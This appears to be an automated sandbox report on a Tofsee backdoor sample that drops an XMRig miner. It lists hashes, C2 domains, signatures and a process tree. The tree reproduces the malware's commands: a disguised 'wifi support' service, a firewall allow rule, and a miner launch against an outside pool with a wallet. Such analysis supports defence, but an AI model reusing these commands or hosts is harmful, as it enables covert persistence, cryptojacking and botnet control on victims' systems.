Analysis

  • max time kernel
    144s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    06-06-2022 06:43

General

  • Target

    f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe

  • Size

    279KB

  • MD5

    d30b3148cfa81c0120ff7e263d08440e

  • SHA1

    6a2d819acfffebbfd48984dff663ca14ca49fe77

  • SHA256

    f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b

  • SHA512

    413c082854b1cea4735daefa14d5f99d763482009382bf80706201ef94d4bd59f4777fd0ebda444d8bbaeba8bef6192f643e710796e077cfdc42f982e1d4e520

Malware Config

Extracted

Family

tofsee

C2

niflheimr.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe
    "C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nmoposle\
      2⤵
        PID:956
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ickihvr.exe" C:\Windows\SysWOW64\nmoposle\
        2⤵
          PID:1808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nmoposle binPath= "C:\Windows\SysWOW64\nmoposle\ickihvr.exe /d\"C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nmoposle "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nmoposle
          2⤵
          • Launches sc.exe
          PID:1500
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1544
      • C:\Windows\SysWOW64\nmoposle\ickihvr.exe
        C:\Windows\SysWOW64\nmoposle\ickihvr.exe /d"C:\Users\Admin\AppData\Local\Temp\f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:320
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1884
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1076

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ickihvr.exe
        Filesize

        10.4MB

        MD5

        8c38464c70a3160094fdceec729a52ea

        SHA1

        096cb971511961bd4d5f9d2948385f401001c203

        SHA256

        af81bf03fe827f14046f379e5b7048107a5a092a00fad1a51e9d437f0a3945ec

        SHA512

        355a77c7db03844a9951204e63c43f29f4955c3e5c0e46d334cc73d53e87a9807acf7a88dfb60e636a3e887f7963687d4a2096c5f48b4eb5d9d5de05679c7e0d

      • C:\Windows\SysWOW64\nmoposle\ickihvr.exe
        Filesize

        10.4MB

        MD5

        8c38464c70a3160094fdceec729a52ea

        SHA1

        096cb971511961bd4d5f9d2948385f401001c203

        SHA256

        af81bf03fe827f14046f379e5b7048107a5a092a00fad1a51e9d437f0a3945ec

        SHA512

        355a77c7db03844a9951204e63c43f29f4955c3e5c0e46d334cc73d53e87a9807acf7a88dfb60e636a3e887f7963687d4a2096c5f48b4eb5d9d5de05679c7e0d

      • memory/320-77-0x0000000000400000-0x000000000048B000-memory.dmp
        Filesize

        556KB

      • memory/320-75-0x000000000065E000-0x000000000066C000-memory.dmp
        Filesize

        56KB

      • memory/844-62-0x0000000000000000-mapping.dmp
      • memory/956-55-0x0000000000000000-mapping.dmp
      • memory/1076-106-0x00000000002E259C-mapping.dmp
      • memory/1076-99-0x0000000000250000-0x0000000000341000-memory.dmp
        Filesize

        964KB

      • memory/1076-101-0x0000000000250000-0x0000000000341000-memory.dmp
        Filesize

        964KB

      • memory/1500-63-0x0000000000000000-mapping.dmp
      • memory/1544-65-0x0000000000000000-mapping.dmp
      • memory/1808-59-0x0000000000000000-mapping.dmp
      • memory/1812-61-0x0000000000000000-mapping.dmp
      • memory/1852-58-0x0000000000400000-0x000000000048B000-memory.dmp
        Filesize

        556KB

      • memory/1852-54-0x00000000753B1000-0x00000000753B3000-memory.dmp
        Filesize

        8KB

      • memory/1852-66-0x000000000056E000-0x000000000057C000-memory.dmp
        Filesize

        56KB

      • memory/1852-67-0x0000000000400000-0x000000000048B000-memory.dmp
        Filesize

        556KB

      • memory/1852-57-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1852-56-0x000000000056E000-0x000000000057C000-memory.dmp
        Filesize

        56KB

      • memory/1884-70-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1884-80-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1884-81-0x0000000001B70000-0x0000000001D7F000-memory.dmp
        Filesize

        2.1MB

      • memory/1884-84-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1884-87-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1884-90-0x0000000000100000-0x0000000000105000-memory.dmp
        Filesize

        20KB

      • memory/1884-93-0x0000000005730000-0x0000000005B3B000-memory.dmp
        Filesize

        4.0MB

      • memory/1884-96-0x0000000000260000-0x0000000000267000-memory.dmp
        Filesize

        28KB

      • memory/1884-79-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1884-73-0x0000000000089A6B-mapping.dmp
      • memory/1884-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB